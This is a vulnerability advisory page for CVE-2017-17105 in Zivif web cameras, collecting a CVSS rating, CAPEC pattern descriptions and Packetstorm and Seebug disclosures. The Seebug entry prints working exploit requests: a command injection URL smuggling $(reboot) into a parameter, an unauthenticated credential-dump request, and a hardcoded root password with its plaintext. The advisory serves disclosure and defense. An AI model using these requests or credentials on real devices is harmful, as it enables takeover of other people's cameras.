Vulnerabilities > CVE-2017-17105 - OS Command Injection vulnerability in Zivif Pr115-204-P-Rs Firmware 2.3.4.2103/4.7.4.2121

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
zivif
CWE-78
critical

Summary

Zivif PR115-204-P-RS V2.3.4.2103 and V4.7.4.2121 (and possibly in-between versions) web cameras are vulnerable to unauthenticated, blind remote command injection via CGI scripts used as part of the web interface, as demonstrated by a cgi-bin/iptest.cgi?cmd=iptest.cgi&-time="1504225666237"&-url=$(reboot) request.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
  • Command Delimiters
    An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or a blacklist input validation, as opposed to whitelist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or blacklist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
  • Exploiting Multiple Input Interpretation Layers
    An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
  • Argument Injection
    An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
  • OS Command Injection
    In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/145386/zivif-bypassexecpassword.txt
idPACKETSTORM:145386
last seen2017-12-13
published2017-12-13
reporterSilas Cutler
sourcehttps://packetstormsecurity.com/files/145386/Zivif-PR115-204-P-RS-2.3.4.2103-Bypass-Command-Injection-Hardcoded-Password.html
titleZivif PR115-204-P-RS 2.3.4.2103 Bypass / Command Injection / Hardcoded Password

Seebug

bulletinFamilyexploit
descriptionImplementation of access controls is Zivif cameras is severely lacking.As a result, CGI functions can be called directly, bypassing authentication checks. This was first identified with the following request (CVE-2017-17106) `http://<Camera Address>/web/cgi-bin/hi3510/param.cgi?cmd=getuser` Cameras respond to this with: ``` var name0="admin"; var password0="admin"; var authLevel0="255"; var name1="guest"; var password1="guest"; var authLevel1="3"; var name2="admin2"; var password2="admin"; var authLevel2="3"; var name3=""; var password3=""; var authLevel3="3"; var name4=""; var password4=""; var authLevel4="3"; var name5=""; var password5=""; var authLevel5="3"; var name6=""; var password6=""; var authLevel6="3"; var name7=""; var password7=""; var authLevel7="3"; var name8=""; var password8=""; var authLevel8="0"; var name9=""; var password9=""; var authLevel9="0 ``` Credentials are returned in cleartext to the requester. In exploring, unauthenticated remote command injection is possible using (CVE-2017-17105) `http://<CameraIP>/cgi-bin/iptest.cgi?cmd=iptest.cgi&-time="1504225666237"&-url=$(reboot)` Command results are not returned, however are executed by the system. One last findings was the /etc/passwd file contains the following hard-coded entry (CVE-2017-17107): ``` root:$1$xFoO/s3I$zRQPwLG2yX1biU31a2wxN/:0:0::/root:/bin/sh ``` The encrypted password is `cat1029`. ``` (none) login: root Password: Login incorrect (none) login: root Password: Welcome to SONIX. \u@\h:\W$ ``` Because of the way the file system is structured, changing this password requires more work then running passwd.
idSSV:96984
last seen2017-12-25
modified2017-12-14
published2017-12-14
reporterRoot
titleZivif Web Cameras Multiple Vulnerabilities